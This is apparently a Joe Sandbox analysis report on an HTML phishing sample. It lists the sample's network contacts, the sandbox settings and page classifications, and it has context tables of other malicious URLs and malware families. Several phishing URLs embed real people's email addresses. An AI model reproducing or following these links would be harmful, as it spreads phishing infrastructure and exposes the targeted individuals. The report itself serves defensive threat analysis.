104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
18.245.86.11	unknown	United States	16509	AMAZON-02US	false
69.49.245.172	mollysirishpub-tol.com	United States	46606	UNIFIEDLAYER-AS-1US	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.68.104	9q.iountanic.com	United States	13335	CLOUDFLARENETUS	true
99.86.4.116	cnstrc.com	United States	16509	AMAZON-02US	false
216.58.206.68	unknown	United States	15169	GOOGLEUS	false
18.245.86.4	e309da9b9aaf.cdn4.forter.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com	European Union	13335	CLOUDFLARENETUS	false
35.190.19.88	gke-ingress.bluecore.com	United States	15169	GOOGLEUS	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
54.77.0.81	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
18.245.86.6	dycxm6nnyo2aj.cloudfront.net	United States	16509	AMAZON-02US	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1531680
Start date and time:	2024-10-11 15:53:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Audio.wavqvc.com10098.html
Detection:	MAL
Classification:	mal60.phis.evad.winHTML@18/35@54/22
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.163, 216.58.212.142, 64.233.167.84, 34.104.35.123, 192.229.221.95, 199.232.210.172, 2.23.196.103, 184.28.89.29, 142.250.185.227, 104.18.4.177, 104.18.5.177, 142.250.186.78
Excluded domains from analysis (whitelisted): www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, cn-assets.adobedtm.com.edgekey.net, ctldl.windowsupdate.com, clientservices.googleapis.com, sephora-track.inside-graph.com.cdn.cloudflare.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, login.live.com, www.sephora.com.edgekey.net, e7808.dscg.akamaiedge.net, evoke-windowsservices-tas.msedge.net, update.googleapis.com, clients.l.google.com, www.gstatic.com, e3568.x.akamaiedge.net
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Audio.wavqvc.com10098.html

Input	Output
URL: https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com Model: jbxai	{ "brands":["Cloudflare"], "text":"Success!", "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com Model: jbxai	{ "brands":["Cloudflare"], "text":"Verifying... Conducting checks to safeguard your connection.", "contains_trigger_text":true, "trigger_text":"Verifying... Conducting checks to safeguard your connection.", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com Model: jbxai	{ "brands":["Cloudflare"], "text":"Verifying... Conducting checks to safeguard your connection.", "contains_trigger_text":true, "trigger_text":"Verifying... Conducting checks to safeguard your connection.", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.sephora.com/ Model: jbxai	{ "brands":["Sephora"], "text":"SEPHORA This site https://www.sephora.com/ is experiencing technical difficulty. We apologize for any inconvenience this may have caused. To contact Sephora call 1-877-737-4672 TTY: 1-888-866-9845.", "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
52.222.236.22	http://tcaconnect.ac-page.com/toronto-construction-association-inc/	Get hash	malicious	Unknown	Browse
	https://pt9w4x.nauleacepr.com/9QLzRhIr/#Ygovernment.relations@rolls-royce.com	Get hash	malicious	HTMLPhisher	Browse
	https://f8b02f60eb70017639f9e90eccb03b95.crimachado.com.br/wehrgiwfbfeifef/djbfhokefbwuwrjow/djhfeokhrwihfekljd/YmVuamFtaW4uZ3JpZmZpdGhzQG11ZmdzZWN1cml0aWVzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	https:/usuari.enotum.cat?id=42211365&o=1&contacte=juani.alfarocastro@eiffage.com&utm_campaign=eNotum&utm_source=AOC&utm_medium=email	Get hash	malicious	Unknown	Browse
	https://nnwdryn4me2.typeform.com/to/vzxAdnuI?utm_source=www.thedeepview.co&utm_medium=newsletter&utm_campaign=u-s-hospital-teams-up-with-suki-for-an-ai-assistant&_bhlid=899a446fb8590c3f4dab42c864907d7822828cad	Get hash	malicious	Unknown	Browse
	https://app.pandadoc.com/document/v2?token=5aa7b81a431a1c96450cb48fd7928ac947bc5aea	Get hash	malicious	Unknown	Browse
	https://sites.google.com/l0gin-microsoftwebonlne.app/7t86r56	Get hash	malicious	Unknown	Browse
	http://theweber.group	Get hash	malicious	HTMLPhisher	Browse
104.18.94.41	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse
	https://na2.docusign.net/Signing/EmailStart.aspx?a=8ad02d97-8076-44e2-a042-fe16530c5407&etti=24&acct=c5a8c3f6-b465-4834-92a5-13d8938404ab&er=f0b416b1-58c5-41c9-b4fc-e691bed625b5	Get hash	malicious	HTMLPhisher	Browse
	https://acr1-br.com/	Get hash	malicious	HTMLPhisher	Browse
	View and Print Online.pdf	Get hash	malicious	Unknown	Browse
	Patrick-In service Agreement-0483___fdp.pdf	Get hash	malicious	Unknown	Browse
	https://linkin.bio/moodyinsurance	Get hash	malicious	Unknown	Browse
	https://megawishbone.nl/	Get hash	malicious	HtmlDropper	Browse
	https://soloist.ai/trigwiki23	Get hash	malicious	Unknown	Browse
151.101.194.137	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://facebooksecurity.blogspot.pe/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://tracker.club-os.com/campaign/click?qDomYmsgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=demsaenlinea.mx/jahn/00987667839933/utilities@affordablecare.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	kamilia.kaszowski-401(k) Statement-emailCapstonelogistics.eml	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://na2.docusign.net/Signing/EmailStart.aspx?a=8ad02d97-8076-44e2-a042-fe16530c5407&etti=24&acct=c5a8c3f6-b465-4834-92a5-13d8938404ab&er=f0b416b1-58c5-41c9-b4fc-e691bed625b5	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://nmacouai-80bf.edohlriapdnoap.workers.dev	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://linklock.titanhq.com/analyse?url=https%3A%2F%2Fwww.hudl.com%2Fnotifications-tracking%2Ftracker%2FBulkDownloadReady-6151bba290ef2e043c74df7a-6040b153-3f06-4375-9d9d-2976d6f1ac3e-11012597%2Femail%2Flanding%3Fforward%3Dhttps%3A%2F%2Fwww.google.com.sg%2Furl%3Fq%3Damp%2Fs%2Fhosxxrs.com%2F.drogo&data=eJxkkEGL3CAUgH-NcygY9Gl0hKZ0S2qZwy6l0_vyjCYja3RqEjL99yVLoYfeHu87vO99Q2ccBH2WmipgikqtkBrnJQUX8IxaCuHcyXcfTnP3UWnWniWEhmuGDIA1KI1yjVH-fH3--f3y8vrU91_71-fL9Xp5-fZ5fjRTKVMKzVDmT6eli3ksRLIB73FNAWuOeTrYqXZ-rZiJZG6LyYcJ39dbd1vX-0LEEwFLwO773tw2nw5IwOayxjEOuMaSF7pWHN5ingjY9zFUAvbLlt76sudU0P8I6H9TxVvuHIJhYYTApBi09KNGqphkjreCivFIIXRLjTeegtHKq5HjIALlnHFojSZgw4wxEbAJsz_OCjuWumP1RPT_a_8L0SyH4lYTEfYXET3OdwJ2IWBvZXk86vL3u8bXMpU_AQAA___Ij4KF#ask.gcr@zendesk.com	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://acr1-br.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	ATT4416530006_Swissquote.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://sycuan.com/	Get hash	malicious	Unknown	Browse	151.101.66.137
	Patrick-In service Agreement-0483___fdp.pdf	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://ericstates.org/	Get hash	malicious	Unknown	Browse	151.101.194.137
cdnjs.cloudflare.com	kamilia.kaszowski-401(k) Statement-emailCapstonelogistics.eml	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://na2.docusign.net/Signing/EmailStart.aspx?a=8ad02d97-8076-44e2-a042-fe16530c5407&etti=24&acct=c5a8c3f6-b465-4834-92a5-13d8938404ab&er=f0b416b1-58c5-41c9-b4fc-e691bed625b5	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	http://nmacouai-80bf.edohlriapdnoap.workers.dev	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://linklock.titanhq.com/analyse?url=https%3A%2F%2Fwww.hudl.com%2Fnotifications-tracking%2Ftracker%2FBulkDownloadReady-6151bba290ef2e043c74df7a-6040b153-3f06-4375-9d9d-2976d6f1ac3e-11012597%2Femail%2Flanding%3Fforward%3Dhttps%3A%2F%2Fwww.google.com.sg%2Furl%3Fq%3Damp%2Fs%2Fhosxxrs.com%2F.drogo&data=eJxkkEGL3CAUgH-NcygY9Gl0hKZ0S2qZwy6l0_vyjCYja3RqEjL99yVLoYfeHu87vO99Q2ccBH2WmipgikqtkBrnJQUX8IxaCuHcyXcfTnP3UWnWniWEhmuGDIA1KI1yjVH-fH3--f3y8vrU91_71-fL9Xp5-fZ5fjRTKVMKzVDmT6eli3ksRLIB73FNAWuOeTrYqXZ-rZiJZG6LyYcJ39dbd1vX-0LEEwFLwO773tw2nw5IwOayxjEOuMaSF7pWHN5ingjY9zFUAvbLlt76sudU0P8I6H9TxVvuHIJhYYTApBi09KNGqphkjreCivFIIXRLjTeegtHKq5HjIALlnHFojSZgw4wxEbAJsz_OCjuWumP1RPT_a_8L0SyH4lYTEfYXET3OdwJ2IWBvZXk86vL3u8bXMpU_AQAA___Ij4KF#ask.gcr@zendesk.com	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://acr1-br.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	ATT4416530006_Swissquote.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	http://sycuan.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	Patrick-In service Agreement-0483___fdp.pdf	Get hash	malicious	Unknown	Browse	104.17.24.14
	Play_VM-NowRobert.schryerAudiowav012.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://purefitness.co.tz/coolimages/img/?action=validate&539=bWljaGFlbC5jaHVAbGNhdHRlcnRvbi5jb20=&r1=pending&r2=page&real=act	Get hash	malicious	Unknown	Browse	104.17.24.14
challenges.cloudflare.com	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://na2.docusign.net/Signing/EmailStart.aspx?a=8ad02d97-8076-44e2-a042-fe16530c5407&etti=24&acct=c5a8c3f6-b465-4834-92a5-13d8938404ab&er=f0b416b1-58c5-41c9-b4fc-e691bed625b5	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://linklock.titanhq.com/analyse?url=https%3A%2F%2Fwww.hudl.com%2Fnotifications-tracking%2Ftracker%2FBulkDownloadReady-6151bba290ef2e043c74df7a-6040b153-3f06-4375-9d9d-2976d6f1ac3e-11012597%2Femail%2Flanding%3Fforward%3Dhttps%3A%2F%2Fwww.google.com.sg%2Furl%3Fq%3Damp%2Fs%2Fhosxxrs.com%2F.drogo&data=eJxkkEGL3CAUgH-NcygY9Gl0hKZ0S2qZwy6l0_vyjCYja3RqEjL99yVLoYfeHu87vO99Q2ccBH2WmipgikqtkBrnJQUX8IxaCuHcyXcfTnP3UWnWniWEhmuGDIA1KI1yjVH-fH3--f3y8vrU91_71-fL9Xp5-fZ5fjRTKVMKzVDmT6eli3ksRLIB73FNAWuOeTrYqXZ-rZiJZG6LyYcJ39dbd1vX-0LEEwFLwO773tw2nw5IwOayxjEOuMaSF7pWHN5ingjY9zFUAvbLlt76sudU0P8I6H9TxVvuHIJhYYTApBi09KNGqphkjreCivFIIXRLjTeegtHKq5HjIALlnHFojSZgw4wxEbAJsz_OCjuWumP1RPT_a_8L0SyH4lYTEfYXET3OdwJ2IWBvZXk86vL3u8bXMpU_AQAA___Ij4KF#ask.gcr@zendesk.com	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://acr1-br.com/	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	View and Print Online.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	Patrick-In service Agreement-0483___fdp.pdf	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://linkin.bio/moodyinsurance	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://megawishbone.nl/	Get hash	malicious	HtmlDropper	Browse	104.18.95.41
dycxm6nnyo2aj.cloudfront.net	https://purefitness.co.tz/coolimages/img/?action=validate&539=bWljaGFlbC5jaHVAbGNhdHRlcnRvbi5jb20=&r1=pending&r2=page&real=act	Get hash	malicious	Unknown	Browse	18.245.86.11
cnstrc.com	https://purefitness.co.tz/coolimages/img/?action=validate&539=bWljaGFlbC5jaHVAbGNhdHRlcnRvbi5jb20=&r1=pending&r2=page&real=act	Get hash	malicious	Unknown	Browse	99.86.4.112
	http://underarmour.ca	Get hash	malicious	Unknown	Browse	52.33.33.107
	Tlzn4Evfdh.docx	Get hash	malicious	Unknown	Browse	13.224.222.8
	Tlzn4Evfdh.docx	Get hash	malicious	Unknown	Browse	13.224.222.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	kamilia.kaszowski-401(k) Statement-emailCapstonelogistics.eml	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	COMMERCIAL INVOICES.exe	Get hash	malicious	FormBook	Browse	172.67.218.106
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	Quotation-GINC-19-00204.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	New order PO#001498.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	invoice.exe	Get hash	malicious	MinerDownloader, RedLine, Xmrig	Browse	104.20.3.235
	https://stacksports.captainu.com	Get hash	malicious	Unknown	Browse	162.247.243.29
AMAZON-02US	KZNjIWjJBc.exe	Get hash	malicious	Lokibot	Browse	54.244.188.177
	https://stacksports.captainu.com	Get hash	malicious	Unknown	Browse	52.32.28.225
	https://na2.docusign.net/Signing/EmailStart.aspx?a=8ad02d97-8076-44e2-a042-fe16530c5407&etti=24&acct=c5a8c3f6-b465-4834-92a5-13d8938404ab&er=f0b416b1-58c5-41c9-b4fc-e691bed625b5	Get hash	malicious	HTMLPhisher	Browse	35.160.175.105
	http://nmacouai-80bf.edohlriapdnoap.workers.dev	Get hash	malicious	HTMLPhisher	Browse	13.224.189.91
	https://docsend.com/view/yw8rtf7gp9v6uesg	Get hash	malicious	Unknown	Browse	18.245.46.10
	https://linklock.titanhq.com/analyse?url=https%3A%2F%2Fwww.hudl.com%2Fnotifications-tracking%2Ftracker%2FBulkDownloadReady-6151bba290ef2e043c74df7a-6040b153-3f06-4375-9d9d-2976d6f1ac3e-11012597%2Femail%2Flanding%3Fforward%3Dhttps%3A%2F%2Fwww.google.com.sg%2Furl%3Fq%3Damp%2Fs%2Fhosxxrs.com%2F.drogo&data=eJxkkEGL3CAUgH-NcygY9Gl0hKZ0S2qZwy6l0_vyjCYja3RqEjL99yVLoYfeHu87vO99Q2ccBH2WmipgikqtkBrnJQUX8IxaCuHcyXcfTnP3UWnWniWEhmuGDIA1KI1yjVH-fH3--f3y8vrU91_71-fL9Xp5-fZ5fjRTKVMKzVDmT6eli3ksRLIB73FNAWuOeTrYqXZ-rZiJZG6LyYcJ39dbd1vX-0LEEwFLwO773tw2nw5IwOayxjEOuMaSF7pWHN5ingjY9zFUAvbLlt76sudU0P8I6H9TxVvuHIJhYYTApBi09KNGqphkjreCivFIIXRLjTeegtHKq5HjIALlnHFojSZgw4wxEbAJsz_OCjuWumP1RPT_a_8L0SyH4lYTEfYXET3OdwJ2IWBvZXk86vL3u8bXMpU_AQAA___Ij4KF#ask.gcr@zendesk.com	Get hash	malicious	Unknown	Browse	34.254.86.229
	na.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	na.elf	Get hash	malicious	Mirai	Browse	108.145.0.225
	na.elf	Get hash	malicious	Unknown	Browse	52.195.249.19
	EKTEDIR.exe	Get hash	malicious	FormBook	Browse	76.223.67.189
FASTLYUS	kamilia.kaszowski-401(k) Statement-emailCapstonelogistics.eml	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://stacksports.captainu.com	Get hash	malicious	Unknown	Browse	151.101.192.176
	https://na2.docusign.net/Signing/EmailStart.aspx?a=8ad02d97-8076-44e2-a042-fe16530c5407&etti=24&acct=c5a8c3f6-b465-4834-92a5-13d8938404ab&er=f0b416b1-58c5-41c9-b4fc-e691bed625b5	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://nmacouai-80bf.edohlriapdnoap.workers.dev	Get hash	malicious	HTMLPhisher	Browse	151.101.193.91
	https://dev-faa-gov-secure.pantheonsite.io/?email=jarodriguez@flylcpa.com	Get hash	malicious	Unknown	Browse	23.185.0.4
	https://linklock.titanhq.com/analyse?url=https%3A%2F%2Fwww.hudl.com%2Fnotifications-tracking%2Ftracker%2FBulkDownloadReady-6151bba290ef2e043c74df7a-6040b153-3f06-4375-9d9d-2976d6f1ac3e-11012597%2Femail%2Flanding%3Fforward%3Dhttps%3A%2F%2Fwww.google.com.sg%2Furl%3Fq%3Damp%2Fs%2Fhosxxrs.com%2F.drogo&data=eJxkkEGL3CAUgH-NcygY9Gl0hKZ0S2qZwy6l0_vyjCYja3RqEjL99yVLoYfeHu87vO99Q2ccBH2WmipgikqtkBrnJQUX8IxaCuHcyXcfTnP3UWnWniWEhmuGDIA1KI1yjVH-fH3--f3y8vrU91_71-fL9Xp5-fZ5fjRTKVMKzVDmT6eli3ksRLIB73FNAWuOeTrYqXZ-rZiJZG6LyYcJ39dbd1vX-0LEEwFLwO773tw2nw5IwOayxjEOuMaSF7pWHN5ingjY9zFUAvbLlt76sudU0P8I6H9TxVvuHIJhYYTApBi09KNGqphkjreCivFIIXRLjTeegtHKq5HjIALlnHFojSZgw4wxEbAJsz_OCjuWumP1RPT_a_8L0SyH4lYTEfYXET3OdwJ2IWBvZXk86vL3u8bXMpU_AQAA___Ij4KF#ask.gcr@zendesk.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://acr1-br.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	DIEN OMM 10.10.2024.vbe	Get hash	malicious	Unknown	Browse	185.199.110.133
	ATT4416530006_Swissquote.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
CLOUDFLARENETUS	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	kamilia.kaszowski-401(k) Statement-emailCapstonelogistics.eml	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	COMMERCIAL INVOICES.exe	Get hash	malicious	FormBook	Browse	172.67.218.106
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	Quotation-GINC-19-00204.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	New order PO#001498.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	invoice.exe	Get hash	malicious	MinerDownloader, RedLine, Xmrig	Browse	104.20.3.235
	https://stacksports.captainu.com	Get hash	malicious	Unknown	Browse	162.247.243.29

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 40.126.31.71
	New Staff_Teachers Rooster and Duties 2024 (1).docx	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 40.126.31.71
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 40.126.31.71
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 40.126.31.71
	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 40.126.31.71
